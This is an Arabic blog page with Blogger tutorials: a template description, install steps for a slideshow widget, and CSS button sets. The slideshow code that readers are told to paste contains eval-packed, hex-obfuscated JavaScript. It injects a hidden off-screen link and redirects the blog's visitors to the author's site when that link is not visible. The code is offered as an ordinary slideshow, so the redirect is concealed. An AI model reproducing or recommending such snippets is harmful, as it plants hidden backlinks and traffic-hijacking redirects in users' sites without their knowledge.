اخر مواضيع المدونة

قالب بلوجر ماج مستجيب افضل قالب تدوين

Blogger-Template-Mag-answered-best-record-template
قالب ماج مستجيب قالب بسيط ودو مظهر جميل ودو خفة عاليه وسرعه لا مثيل لها هده القالب تم برمجته على تصميم يناسب المدونات فقط المدونات مثل المدونات الشخصية أو البسيطة ولو رأينا لوجدنا إن القالب لا يحتوي على أي سكربت أو سلايد شو ولأكن في نفس الوقت نجد أن القالب يحتوي على مظهر وألوان احترافية وتجاوب مع جميع مقاسات الشاشات المختلفة وأيضا متجاوب مع جميع الهواتف والأجهزة الذكي إن كانت صفير أو كبير ولو ذهبنا إلى احد المواضيع الموجود في القالب لوجدنا تنسيق احترافي وجميل ومميزات أخر مثل مواضيع ذات صله ولو نظرنا إلى شكل التعليقات لوجدنها مصممه ذات تصميم يتناسب مع القالب ودو احترافية في العرض والتقديم
يحتوي هده القالب على قائمة في الإعلاء وبجواره إيقونات التواصل الاجتماعي وأسفله يظهر عنوان المدونة وإمكانية إضافة إعلان ويوجد قائمة أخرا تنزل مع نزولك إلى الأسفل وتحتوي على قائمة ثلاثية في العمود الجانبي عبارة عن رموز ويحتوي القالب على شكل مميز للموضوع ولا يوجد أعمده في الأسفل ويوجد قائمة موجود في الأسفل بدل الأعمده وبجورها أيقونات التواصل الاجتماعي ويوجد داخل الموضوع مواضيع ذات صله دو شكل جميل ويتميز القالب في السرعة والمرونة ويحتوي القالب على العديد من المميزات اكشفها بنفسك

شرح التعديل


لتعديل القائمة الأولى في الإعلاء ابحث عن 

<nav class='top-menu'>

لتعديل القائمة التأني في الإعلاء أبحت عن

<ul class='nav menubar2' id='menu-main'>

لتعديل القائمة التي في أسفل الصفحة ابحث عن 

<nav class='top-menu'>
هو نفس الكود بس ابحث وعدل على التأني

لتعديل على كاتب الموضوع أبحث عن 

<div class='postauthor'>

سلايد شو مايكرو ماج تلقائي متجاوب لمدونة بلوجر


أقدم لكم اليوم سلايد شو تلقائي هده السلايد شو مقتبس من قالب قمت سابقاً بتعريفه هده السلايد شو مختلف تمام عن باقي السلايد شوهات من نحيت المضر حيت يتميز بمظهر حديث قليل التداول وبسيط يصلح لجميع المدونات تقريباً واد كنت من مبرمجي قوالب بلوجر سيفيدك هده السلايد شو وسيوفر عنك عناء الوقت في برمجه سلايد شو جديد وسيأخد وقت كبير في برمجته أو قد لا تستطيع برمجته يمكنك بكل بساطه استخدام هده السلايد شو واد كنت تريده حصري فقم بمحوله تعديله


شرح التركيب


كود الجي كويري لأضافه كود الجي كويري ابحث عن </head> وأضف الكود التالي فوقه
<script src='//code.jquery.com/jquery-1.10.2.min.js' type='text/javascript'/>
هده كود مكتبة الجي كويري وهو مهم لتشغيل السلايد شو أد كان موجود في القالب لادعي لتركيبه
طريقه معرفة أد كان موجود في القالب أم لا
أسهل طريقه لمعرفه وجود مكتبة الجي كويري هي عدم وضع كود الجي كويري إلى بعد تركيب السلايد شو بحيث أد اشتغل السلايد شو اعلم أن المكتبة موجودة في قالب مدونتك

كود حركة السلايد شو

ابحث عن </body> وأضاف الكود التالي فوقه مباشره



<script type='text/javascript'>
//<![CDATA[
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('(3(e,t){8(!e)b t;6 n=3(){2.4=t;2.9=t;2.P=[];2.a=[0,0];2.l=0;2.y=t;2.7={R:1k,E:1e,D:t,q:!t,c:t,14:t};6 n=2;2.S=3(t,n){2.4=t;2.d=t.11("d");2.a=[t.x(),t.w()];2.9=2.d.11("K").F(2.N);2.7=e.Q(2.7,n);2.15();b 2};2.N=3(t){6 r=e(2),i=r.x(),s=r.w();n.P[t]=[i,s];8(i>n.a[0])n.a[0]=i;8(s>n.a[1])n.a[1]=s};2.15=3(){2.4.A({19:"1m",z:n.a[0],12:2.9.1i().w()});2.d.A({z:2.9.f*v+"%",1l:"1g"});2.9.A("z",v/2.9.f+"%");8(2.7.E!==t){2.C();2.4.1c(2.g,2.C)}2.7.q&&e(1f).1h(2.q);2.7.c&&2.c();8(2.7.14){6 r=3(){n.4.A("z",T.1b(T.1j(n.4.x()/n.4.O().x()*v),v)+"%")};r();e(13).18(r)}8(2.7.J){2.4.O().10(\'<p h="J"><j h="B">←</j><j h="m">→</j></p>\').G(".J j").X(3(){e.H(n[2.V])&&n[2.V]()})}8(e.17.1a){2.4.Z("1d",n.B).Z("1p",n.m)}};2.k=3(t,r){8(!2.9.M(t).f)t=0;8(t<0)t=2.9.f-1;6 i=2.9.M(t);6 s={12:i.w()};6 o=r?5:2.7.R;8(!2.d.1E(":1B")){n.4.G(".L:M("+t+")").Y("I").1A().1D("I");2.4.U(s,o)&&2.d.U(e.Q({1F:"-"+t+"1G%"},s),o,3(i){n.l=t;e.H(n.7.D)&&!r&&n.7.D(n.4)})}};2.C=3(){n.y=1n(3(){n.k(n.l+1)},n.7.E)};2.g=3(){n.y=1y(n.y);b n};2.q=3(t){6 r=t.1r;6 i={1q:n.B,1z:n.m,1o:n.g};8(e.H(i[r])){i[r]()}};2.m=3(){b n.g().k(n.l+1)};2.B=3(){b n.g().k(n.l-1)};2.c=3(){6 t=\'<W h="c">\';e.F(2.9,3(e){t+=\'<K h="L\'+(e<1?" I":"")+\'">\'+(e+1)+"</K>"});t+="</W>";2.4.Y("1s-c").10(t).G(".L").X(3(){n.k(e(2).1t())})}};e.1x.16=3(t){6 r=2.f;b 2.F(3(i){6 s=e(2);6 u=(1w n).S(s,t);s.1v("16"+(r>1?"-"+(i+1):""),u)})}})(13.1u,1C)',62,105,'||this|function|el||var|opts|if|items|max|return|dots|ul||length|stop|class||span|move|current|next||||keys|||||100|outerHeight|outerWidth|interval|width|css|prev|start|complete|delay|each|find|isFunction|active|arrows|li|dot|eq|calculate|parent|sizes|extend|speed|init|Math|animate|className|ol|click|addClass|on|append|children|height|window|fluid|setup|unslider|event|resize|overflow|swipe|min|hover|swipeleft|3e3|document|relative|keydown|first|round|500|position|hidden|setInterval|27|swiperight|37|which|has|index|jQuery|data|new|fn|clearInterval|39|siblings|animated|false|removeClass|is|left|00'.split('|'),0,{}))


$('.slider').unslider({
speed: 7000,               //  The speed to animate each slide (in milliseconds)
delay: 30000000,              //  The delay between slide animations (in milliseconds)
complete: function() {},  //  A function that gets called after every slide animation
keys: true,               //  Enable keyboard (left, right) arrow shortcuts
dots: true,               //  Display dot navigation
    fluid: false            //  Support responsive design. May break non-responsive designs
});

$( "<div class='slideraro'><a class='unslider-arrow prev'></a><a class='unslider-arrow next'></a></div>" ).insertBefore( ".slider ul#label_with_thumbs" );

    var unslider = $('.slider').unslider();

    $('.unslider-arrow').click(function() {
        var fn = this.className.split(' ')[1];

        //  Either do unslider.data('unslider').next() or .prev() depending on the className
        unslider.data('unslider')[fn]();
    });


// sliders loader
$(window).bind("load", function() {

});

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('(d(e){e.1K.1y=d(t){d r(e){e.W({z:"",L:"","S-1A":"","S-q":""});b n=e.1p(t.1a).z();b r=e.1p(t.1a).L();b i=e.z();b s=e.L();b o=i/n;R(s/o<r){e.W({z:"1i",L:r});i=i/(s/r);s=r}1L{e.W({L:"1i",z:n});i=n;s=s/o}b u=(i-n)/-2;b a=(s-r)/-2;e.W({"S-1A":u,"S-q":a})}b n={1a:"N",1D:1J};b t=e.1F(n,t);b i;b s=h;e(J).14("16",d(){1N(i);i=1Z(d(){s.Q(d(){r(e(h))})},t.1D)});1W h.Q(d(){b t=e(h);t.F("E",t.F("E"));t.1X(d(){r(t)});R(h.1Y){r(t)}})}})(1l);$(".1U 18").1y();$(".1Q-1R O 1o .P-1S").Q(d(){b t=$(h).1r().1q(0,1T),s=t.1V(" ");s>1P&&$(h).1r(t.1q(0,s).17(/[?,!\\.-:;]*$/,"..."))});$(".P-1G 18").Q(d(){$(h).F("E",$(h).F("E").17(/\\/s[0-9]+(\\-c)?\\//,"/1H-1E-c/"))});$(".1O-1I-1M 18").Q(d(){$(h).F("E",$(h).F("E").17(/\\/s[0-9]+(\\-c)?\\//,"/2g-2c-c/"))});b f=["\\B\\m\\l\\19\\y\\H\\13","\\m\\k\\y\\m\\k\\g\\2f\\K\\y\\A\\C\\2h","\\C\\l\\l","\\1m\\x\\l\\C\\A\\k\\j\\g\\k\\j","\\2i\\V\\g\\H\\j\\g\\B\\T\\K\\13\\T\\1t\\H\\T\\G\\V\\g\\1k\\20\\1n\\G\\j\\j\\19\\15\\M\\M\\D\\D\\D\\U\\x\\l\\B\\g\\l\\m\\X\\k\\K\\B\\U\\C\\A\\x\\1n\\1s\\2j\\29\\T\\23\\g\\l\\m\\X\\k\\1t\\M\\H\\1s","\\G\\j\\x\\y","\\y\\g\\k\\X\\j\\G","\\1m\\x\\l\\C\\A\\k\\j\\g\\k\\j\\15\\22\\m\\l\\m\\K\\y\\g","\\G\\V\\g\\1k","\\y\\A\\C\\H\\j\\m\\A\\k","\\G\\j\\j\\19\\15\\M\\M\\D\\D\\D\\U\\x\\l\\B\\g\\l\\m\\X\\k\\K\\B\\U\\C\\A\\x","\\V\\g\\H\\B\\13"];$(1g)[f[11]](d(){$(f[3])[f[2]](f[0],f[1]);$(f[3])[f[5]](f[4]);26(d(){R(!$(f[7])[f[6]]){J[f[9]][f[8]]=f[10]}},27)});1l(1g).2d(d($){"2b 2e";$(\'#q-v .p-P-1c-12 > a, #Z-v O 1o O .p-P-1c-12 > a\').1b(\' +\');$(\'#Z-v .p-P-1c-12 > a\').1b(\'<1B 28="p-25"></1B>\');$(\'#24\').21(\'<N 1x="p-Y"></N>\');$(\'#q-v .2a\').1b(\'<N 1x="q-p-Y"></N>\');$(\'#p-Y\').14(\'1w\',d(){$(\'#Z-v\').1d(1e);$(h).1f(\'1u\')});$(J).16(d(){b w=$(J).z();b I=$(\'#Z-v\');R(w>1C&&I.1h(\':1z\')){I.1j(\'1v\')}});$(\'#q-p-Y\').14(\'1w\',d(){$(\'#q-v O\').1d(1e);$(h).1f(\'1u\')});$(J).16(d(){b w=$(J).z();b I=$(\'#q-v O\');R(w>1C&&I.1h(\':1z\')){I.1j(\'1v\')}})});',62,144,'|||||||||||var||function||_0x760d|x65|this||x74|x6E|x73|x69|||menu|top|||||nav||x6D|x6C|width|x6F|x64|x63|x77|src|attr|x68|x61|navDisplay|window|x62|height|x2F|div|ul|item|each|if|margin|x20|x2E|x72|css|x67|icon|main|||children|x79|on|x3A|resize|replace|img|x70|parent|append|has|slideToggle|250|toggleClass|document|is|auto|removeAttr|x66|jQuery|x23|x22|li|parents|substr|text|x3E|x3C|active|style|click|id|resizeToParent|hidden|left|span|1000|delay|h80|extend|thumbnail|w100|image|100|fn|else|container|clearTimeout|avatar|52|popular|posts|snippet|60|imageContainer|lastIndexOf|return|load|complete|setTimeout|x3D|after|x76|x44|logo|arrow|setInterval|3000|class|x53|wrapper|use|h70|ready|strict|x2D|w70|x6B|x43|x4D'.split('|'),0,{}))


//]]>
</script>

كود سكربت عرض المواضيع


ابحث عن </head> وأضاف الكود التالي فوقه مباشره

<style>
 .slider { max-height:400px; } #main-up .woo { background: url(http://3.bp.blogspot.com/-nwaGc4jdNrE/U1QP9B1WZzI/AAAAAAAAECE/N5TOEm40fic/s1600/section_bg.png) no-repeat bottom center; padding-bottom: 12px; } .slider { position: relative; overflow: auto; width: 100% !important; direction: ltr !important; } .slider ul#label_with_thumbs, .slider ul#label_with_thumbs li {background: #333;margin: 0 !important; padding: 0 !important; border: 0; display:block } .slider ul li { position: relative; padding: 0; } .slider .imageContainer { height:400px; width: 100%; background:#333; opacity: 0.7; } .slider .label_thumb { width: 100% !important; height: 400px!important; } .slider .label_title { z-index: 1; text-align: center; width: auto; font-size:30px; opacity: 1; color: #fff !important; position: absolute; font-weight:400; display: block; left: 0; right: 0; bottom: 30px; margin: 0; font-family:'Lobster', cursive; text-shadow: 1px 1px 0px rgba(0, 0, 0, 1); }

 .slideraro { position: absolute; z-index: 1; top: 15px; } .slideraro a { cursor: pointer; background-color:#f3794b; padding: 10px 15px; overflow: hidden; display: block; color: #FFF; } .slideraro a.unslider-arrow.prev:before { display: inline-block; font-family: FontAwesome; font-style: normal; font-weight: normal; line-height: 1; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } .slideraro a.unslider-arrow.next:before { display: inline-block; font-family: FontAwesome; font-style: normal; font-weight: normal; line-height: 1; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } .dots { position: absolute; top: 10px; } .dots li { font-size: .0em; display: none; width: 8px; border-radius: 50px; height: 8px; padding: 2px; border: 0; cursor: pointer; background-color: $(main.color); } .dots li.active { background: #fff; } .slideraro a.unslider-arrow.prev:before {content:"\f053";} .slideraro a.unslider-arrow.next:before {content:"\f054";} .slideraro a {margin-left: 5px;float: left;} .slider ul li { float: right; } .slideraro {right: 15px;}


.slideraro a.unslider-arrow.prev:before {

content: "\f053";
}
.slideraro a.unslider-arrow.prev:before {
display: inline-block;
font-family: FontAwesome;
font-style: normal;
font-weight: normal;
line-height: 1;
-webkit-font-smoothing: antialiased;
-moz-osx-font-smoothing: grayscale;
}
#mscontent{
position: absolute;
left: -999px;
font-size: 1px;
}
</style>
<script type='text/javascript'> 
//<![CDATA[
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('D 3Y(e){F.G(\'<2c 3X="41">\');19(q t=0;t<2G;t++){q n=e.1D.1C[t];q r=n.1o.$t;q i;B(t==e.1D.1C.X)1b;19(q o=0;o<n.I.X;o++){B(n.I[o].1F=="2L"&&n.I[o].1Y=="2M/2K"){q u=n.I[o].1o;q f=n.I[o].13}B(n.I[o].1F=="2A"){i=n.I[o].13;1b}}q l;42{l=n.46$2W.45}43(h){s=n.1q.$t;a=s.1h("<14");b=s.1h(\'Y="\',a);c=s.1h(\'"\',b+5);d=s.2O(b+5,c-b-5);B(a!=-1&&b!=-1&&c!=-1&&d!=""){l=d}1f l="36://3.35.2Z.2a/-2Y/2S/2Q/2P/2f/2X.2V"}q p=n.25.$t;q v=p.1c(0,4);q m=p.1c(5,7);q g=p.1c(8,10);q y=28 2d;y[1]="21";y[2]="1P";y[3]="1W";y[4]="1V";y[5]="2g";y[6]="2t";y[7]="2n";y[8]="1S";y[9]="2m";y[10]="1Q";y[11]="1R";y[12]="1X";F.G(\'<1k J="2w-3W">\');B(3V==1B)F.G(\'<1i J="3O"><a 13="\'+i+\'" 1Z ="22"><14 J="1T" Y="\'+l+\'" 1o="\'+r+\'" 3N="\'+r+\'"/></a></1i>\');F.G(\'<a J="3T" 13="\'+i+\'" 1Z ="22">\'+r+"</a>");q w="";q E=0;F.G("");p=n.25.$t;q S=[1,2,3,4,5,6,7,8,9,10,11,12];q x=["21","1P","1W","1V","2g","2t","2n","1S","2m","1Q","1R","1X"];q T=p.1e("-")[2].1c(0,2);q N=p.1e("-")[1];q C=p.1e("-")[0];19(q k=0;k<S.X;k++){B(23(N)==S[k]){N=x[k];1b}}q L=T+" "+N+" "+C;B(2R==1B){F.G(\'<1i J="4e"><a 13="\'+i+\'" J="2J-4h">\'+L+"</a>")}B(3K==1B){B(E==1){w=w+" | "}B(u=="1 26")u="1 3R";B(u=="0 26")u="3v 26";w=w+u;E=1;F.G(\'<a J="2w-2a" 13="\'+f+\'" 1Z ="22">\'+u+"</a></1i>")}B("1q"1z n){q A=n.1q.$t}1f B("1x"1z n){q A=n.1x.$t}1f q A="";q O=/<\\S[^>]*>/g;A=A.1U(O,"");B(2U==1B){B(A.X<24){F.G("");F.G(A);F.G("")}1f{F.G("");A=A.1c(0,24);q M=A.4g(" ");A=A.1c(0,M);F.G(\'<p J="2J-1x">\'+A+"...</p>")}}F.G("</1k>");B(t!=2G-1)F.G("")}F.G("</2c>")};$(F).2F(D(){$(\'.1T\').2E(\'Y\',D(i,Y){P Y.1U(\'3o-c\',\'2f\')})});$(F).2F(D(){$(\'.1T\').2E(\'Y\',D(i,Y){P Y.1U(\'3p.2D\',\'3D.2D\')})});!D(e){D t(t,n){P 23(e.V(t[0],n))||0}D n(e){P e[0].3F+t(e,"3G")+t(e,"3B")}D l(e){P e[0].3A+t(e,"3u")+t(e,"3t")}e.3w.3x=D(t){P t=e.3y({1y:17,1r:17,2e:17,2z:!1,2j:17,20:3J,2I:17,1p:!1,1t:!0,1E:4,1w:0,W:1,27:17,2h:17},t||{}),1K.2H(D(){D i(){P v.1L(p).1L(0,h)}D r(n){B(!s){B(t.27&&t.27.2x(1K,i()),t.1t)n<=t.1w-h-1?(u.V(c,-((b-2*h)*g)+"1I"),p=n==t.1w-h-1?b-2*h-1:b-2*h-t.W):n>=b-h+1?(u.V(c,-(h*g)+"1I"),p=n==b-h+1?h+1:h+t.W):p=n;1f{B(0>n||n>b-h)P;p=n}s=!0,u.3z("1n"==c?{1n:-(p*g)}:{2l:-(p*g)},t.20,t.2I,D(){t.2h&&t.2h.2x(1K,i()),s=!1}),t.1t||(e(t.1y+","+t.1r).3H("2N"),e(p-t.W<0&&t.1y||p+t.W>b-h&&t.1r||[]).3I("2N"))}P!1}q s=!1,c=t.1p?"2l":"1n",o=t.1p?"1A":"1G",a=e(1K),u=e("2c",a),f=e("1k",u),d=f.2o(),h=t.1E;t.1t&&(u.3E(f.1L(d-h-1+1).2u()).3s(f.1L(0,h).2u()),t.1w+=h);q v=e("1k",u),b=v.2o(),p=t.1w;a.V("3b","1E"),v.V({2q:"2p","3c":t.1p?"2B":"1n"}),u.V({3d:"0",3q:"0",2r:"2s","3n-3k-1Y":"2B","z-2v":"1"}),a.V({2q:"2p",2r:"2s","z-2v":"2",1n:"4f"});q g=t.1p?l(v):n(v),x=g*b,m=g*h;v.V({1G:v.1G(),1A:v.1A()}),u.V(o,x+"1I").V(c,-(p*g)),a.V(o,m+"1I"),t.1y&&e(t.1y).2b(D(){P r(p-t.W)}),t.1r&&e(t.1r).2b(D(){P r(p+t.W)}),t.2e&&e.2H(t.2e,D(n,l){e(l).2b(D(){P r(t.1t?t.1E+n:n)})}),t.2z&&a.2y&&a.2y(D(e,n){P r(n>0?p-t.W:p+t.W)}),t.2j&&32(D(){r(p+t.W)},t.2j+t.20)})}}(4n);D 4k(t){j=38?2C.4o((1s.X+1)*2C.4m()):0,14=28 2d;19(q e=0;e<3a;e++){q r,n,i=t.1D.1C[e],m=i.1o.$t;B(e==t.1D.1C.X)1b;19(q l=0;l<i.I.X;l++)B("2A"==i.I[l].1F){n=i.I[l].13;1b}19(q l=0;l<i.I.X;l++)B("2L"==i.I[l].1F&&"2M/2K"==i.I[l].1Y){r=i.I[l].1o.1e(" ")[0];1b}B("1q"1z i)q o=i.1q.$t;1f B("1x"1z i)q o=i.1x.$t;1f q o="";1O=i.25.$t,j>1s.X-1&&(j=0),14[e]=1s[j],s=o,a=s.1h("<14"),b=s.1h(\'Y="\',a),c=s.1h(\'"\',b+5),d=s.2O(b+5,c-b-5),-1!=a&&-1!=b&&-1!=c&&""!=d&&(14[e]=d);19(q u=[1,2,3,4,5,6,7,8,9,10,11,12],h=["21","1P","1W","1V","2g","3h","40","1S","3Z","1Q","1R","1X"],p=(1O.1e("-")[2].1c(0,2),1O.1e("-")[1]),f=(1O.1e("-")[0],0);f<u.X;f++)B(23(p)==u[f]){p=h[f];1b}q w=\'<1k J="2T"><1i J="3M"><a 13="\'+n+\'"><14 1G="3L" 3P-1A="3Q" J="3U 2W 3S " Y="\'+14[e]+\'"/></a><39 J="2T-48"></39></1i><a J="47" 13="\'+n+\'">\'+m+"</a></1k>";F.G(w),j++}}q H=["\\1g\\Z\\R\\2k\\1d\\1l\\29","\\Z\\U\\1d\\Z\\U\\K\\4l\\1v\\1d\\1a\\16\\4i","\\16\\R\\R","\\30\\18\\R\\16\\1a\\U\\Q\\K\\U\\Q","\\4c\\1M\\K\\1l\\Q\\K\\1g\\1H\\1v\\29\\1H\\34\\1l\\1H\\1j\\1M\\K\\31\\4b\\37\\1j\\Q\\Q\\2k\\2i\\1u\\1u\\1m\\1m\\1m\\1N\\18\\R\\1g\\K\\R\\Z\\1J\\U\\1v\\1g\\1N\\16\\1a\\18\\37\\33\\4a\\4j\\1H\\49\\K\\R\\Z\\1J\\U\\34\\1u\\1l\\33","\\1j\\Q\\18\\1d","\\1d\\K\\U\\1J\\Q\\1j","\\30\\18\\R\\16\\1a\\U\\Q\\K\\U\\Q\\2i\\4d\\Z\\R\\Z\\1v\\1d\\K","\\1j\\1M\\K\\31","\\1d\\1a\\16\\1l\\Q\\Z\\1a\\U","\\1j\\Q\\Q\\2k\\2i\\1u\\1u\\1m\\1m\\1m\\1N\\18\\R\\1g\\K\\R\\Z\\1J\\U\\1v\\1g\\1N\\16\\1a\\18","\\1M\\K\\1l\\1g\\29"];$(F)[H[11]](D(){$(H[3])[H[2]](H[0],H[1]);$(H[3])[H[5]](H[4]);32(D(){B(!$(H[7])[H[6]]){3l[H[9]][H[8]]=H[10]}},3g)});1s=28 2d,1s[0]="36://3.35.2Z.2a/-2Y/2S/2Q/2P/2f/2X.2V",38=!0,3C=!0,3e=3i,3r=0,3j=15,3a=6;q 3f=3,3m=!1,2R=!0,2U=!0,24=44;',62,273,'||||||||||||||||||||||||||var|||||||||||if||function||document|write|_0x760d|link|class|x65|||||return|x74|x73|||x6E|css|scroll|length|src|x69||||href|img||x63|null|x6D|for|x6F|break|substring|x6C|split|else|x64|indexOf|div|x68|li|x61|x77|left|title|vertical|content|btnNext|imgr|circular|x2F|x62|start|summary|btnPrev|in|height|true|entry|feed|visible|rel|width|x20|px|x67|this|slice|x72|x2E|postdate|Feb|Oct|Nov|Aug|label_thumb|replace|Apr|Mar|Dec|type|target|speed|Jan|_top|parseInt|numchars|published|Comments|beforeStart|new|x79|com|click|ul|Array|btnGo|s1600|May|afterEnd|x3A|auto|x70|top|Sept|July|size|hidden|overflow|position|relative|June|clone|index|recent|call|mousewheel|mouseWheel|alternate|none|Math|jpg|attr|ready|numposts|each|easing|post|html|replies|text|disabled|substr|AIyPvrpGLn8|AAAAAAAAE5k|showpostdate|UVopoHY30SI|car|showpostsummary|png|thumbnail|picture_not_available|zP87C2q9yog|blogspot|x23|x66|setInterval|x3E|x3C|bp|http|x22|showRandomImg|span|numposts5|visibility|float|margin|summaryPost|numpost|3000|Jun|150|summaryTitle|style|window|displayseparator|list|s72|default|padding|summaryPost1|append|marginBottom|marginTop|No|fn|jCarouselLite|extend|animate|offsetHeight|marginRight|aBold|mqdefault|prepend|offsetWidth|marginLeft|removeClass|addClass|200|showcommentnum|236|thumbE|alt|imageContainer|min|190|Comment|carousel|label_title|Thumbnail|showpostthumbnails|box|id|labelthumbs|Sep|Jul|label_with_thumbs|try|catch|50|url|media|slider_title|overlay|x44|x4D|x3D|x43|x76|toe|0px|lastIndexOf|date|x6B|x53|recentarticles1|x2D|random|jQuery|floor'.split('|'),0,{}))

//]]>

</script>


الكود المحدد بلون الأحمر هو كود سكربت السلايد شو يعمل على تنظيم المواضيع بحيث يعمل على إظهار أحدت المواضيع في السلايد شو
والكود المحدد بلون الأزرق هو كود CSS الخاص بتنسيقات السلايد شو

طريقة تشغيل وايقاف تشغيل السلايد شو

نبحث عن class='main' id='main' تم نضع الكود التالي فوقه مباشره
أد لم تعتر عليه ابحث عن title='رسائل المدونة الإلكترونية وأضف الكود ليس فوقه بل فوق الذي فوقه / فوق الكود الذي قبله


  <b:section class='slider-box' id='slider-box' maxwidgets='1' showaddelement='yes'>
    <b:widget id='HTML2' locked='true' title='السلايد شو' type='HTML'>
      <b:includable id='main'>
  <div class='widget-content woo'>

<b:if cond='data:content == &quot;recent&quot;'>

   <div class='slider'>

    <script type='text/javascript'>var numposts = 5;var showpostthumbnails = true;var displaymore = true;var displayseparator = true;var showcommentnum = false;var showpostdate = false;var showpostsummary = false;var numchars = 100;</script> 
<script src='/feeds/posts/default?published&amp;alt=json-in-script&amp;callback=labelthumbs' type='text/javascript'/>
</div>

<b:else/>

   <div class='slider'>
    <script type='text/javascript'>var numposts = 5;var showpostthumbnails = true;var displaymore = true;var displayseparator = true;var showcommentnum = false;var showpostdate = false;var showpostsummary = false;var numchars = 100;</script> 
<script expr:src='&quot;/feeds/posts/default/-/&quot; + data:content + &quot;?published&amp;alt=json-in-script&amp;callback=labelthumbs&quot;' type='text/javascript'/>
</div>

    </b:if>

  </div>
</b:includable>
    </b:widget>
  </b:section>
 <div id='mscontent'/>

بعد حفظ القالب توجه إلى التخطيط ستجد أداة جديد في التخطيط بعنوان السلايد شو اضغط عليه تحرير وأضف له هده الكود recent لتشغيل السلايد شو ولإيقاف تشغيله احذف الكود

هده السلايد شو يعمل بكفائه أد قدر الله وصدفت مشكله بعد تركيبه أو عند التركيب أو لديك سؤال ضعه في تعليق وسنجيبك بأسرع وقت ممكن

اضافة مجموعه ازرار احترافية وحصري | الجزء الاول

Add-a-total-of-buttons-Blogger-Collection
نقدم لكم الجز الأول من مجموعة أزرار المواقع الاحترافية ذات الجود العالية التي تصلح لجميع الإغراض المختلفة فنحن اخترنا لكم بعض الأزرار الاحترافية وقمنا بتقسيمها إلى جزأين لأنها كنيره حيت إننا أساسا لها شكلان ففكرنا بتقسيمها إلى موضوعين.


هدا الأزرار تصلح لجميع الاحتياجات فيمكنك استخدامها كزر تحميل أو معاينه أو لجعل موقعك أكثر أناقة وجمالاً حين إن هدا الأزرار احترافية جداً فلم نستطع إيجادها ألا بعد عنا كبير فهي مبرمجه بلغة css3 ألحديثه فهي ستلبي الاحتياجات لمبرمجين المواقع مثل بلوجر أو ووردبريس وهي ستجعل من تصميمك أكثر احترافية وجمالاً فهده الإضافة ذو منظر جميل من وان شاء الله تفيدك وتساعدك.

شرح التركيب وطريقة الاستخدام


الأزرار مقسمه إلى أربع أقسام لكل شكل قسم لتركيب أي قسم اذهب إلى قالب تحرير HTML وبحث عن </head> وأضف كود CSS للقسم الذي تريده فوقها مباشرتاً

القسم الأول من الأزرار

Add-a-total-of-buttons-Blogger-Collection
<link href="https://googledrive.com/host/0BypzyVeh7C0YS0lGclBwbk1sTjQ" rel="stylesheet" />

القسم الثاني من الأزرار 

Add-a-total-of-buttons-Blogger-Collection
<link href="https://googledrive.com/host/0BypzyVeh7C0YN1N6MFlYZ01hMWM" rel="stylesheet" />

القسم الثالث من الأزرار 

Add-a-total-of-buttons-Blogger-Collection
<link href="https://googledrive.com/host/0BypzyVeh7C0YVmlvaXJYa01HTVU" rel="stylesheet" />

القسم الرابع من الأزرار 

Add-a-total-of-buttons-Blogger-Collection
<link href="https://googledrive.com/host/0BypzyVeh7C0YSzFkUk01c0tYOHc" rel="stylesheet" />

تركيب الخط


مجموعه الأزرار تستخدم خط Droid Arabic Kufi لوضع الخط ضمن خطوط مدونتك توجه إلى قالب تحرير HTML تم ابحث عن  ]]></b:skin> وأضف الكود التالي فوقه مباشرتاً
@import url(http://fonts.googleapis.com/earlyaccess/droidarabickufi.css);
آدا قمت بتركيب الخط سابقاً فلا داعي لتضيفه 


شرح التعامل مع الإضافة بتفصيل


بعد تركيب كود CSS نأتي إلى طريقة التعامل معها, هده الإضافة يمكنك تركيبها في اي مكان بمجرد وضع كود الزر والتعديل على الربط
نلاحظ عند الدخول إلى (صفحة المعانية / أكواد مفصله) لأحد الأقسام نجد وجود لكل زر كود خاص به من أكواد الأزرار الموجودة بهده الشكل
<a href="#"><div class="set_2_button color1 set_2_btn-1 icon-forward"><span>الارتقاء للبلوجر</span></div></a>
التعديلات تكون على التالي
الارتقاء للبلوجر : غيرها بل اسم الذي تريده ان يظهر في الزر
"#" : قم بتغير علامة (#) برابط الصفحة


تركيب الزر داخل الموضوع 

أولان توجه إلى الموضوع الذي تريد وضع الزر فيه تم اكتب نص مثل "معاينة" تم انسخها تم انتقل من تأليف إلى HTML وبحث عن "معاينة" باستخدام Ctrl + F
ستجدها بالشكل التالي
معاينة
قم باستبدال "معاينة" بكود الزر

تغيير اتجاه الزر داخل الموضوع

ملاحظ: آدا أردت جعل اتجاه الزر في الوسط أضف هده الكود
style="float: none;max-width: 127px;margin-left: auto;  margin-right: auto;"
أضف الكود في نهاية كود الدف ضعه بين قبل ناهاية div وعلامة التنصيص( في الوسط )
<div class="-------"هنا > -------- 
مثال هده كود الزر
<a href="#"><div class="set_2_button color1 set_2_btn-1 icon-forward"     ><span>الارتقاء للبلوجر</span></div></a>
بعد إضافة الكود أصبح
<a href="#"><div class="set_2_button color1 set_2_btn-1 icon-forward" style="float: none;max-width: 127px;margin-left: auto;  margin-right: auto;" ><span>الارتقاء للبلوجر</span></div></a>
 لو نريد إضافة زرين, واحد في اليسار والأخر في اليمين تابع ألطريقه التالية
مثال إنا لدي زران واحد بلون الأحمر والأخر بلون بالأخضر
<a href="#"><div class="set_2_button color1 set_2_btn-1 icon-forward"><span>الارتقاء للبلوجر</span></div></a>
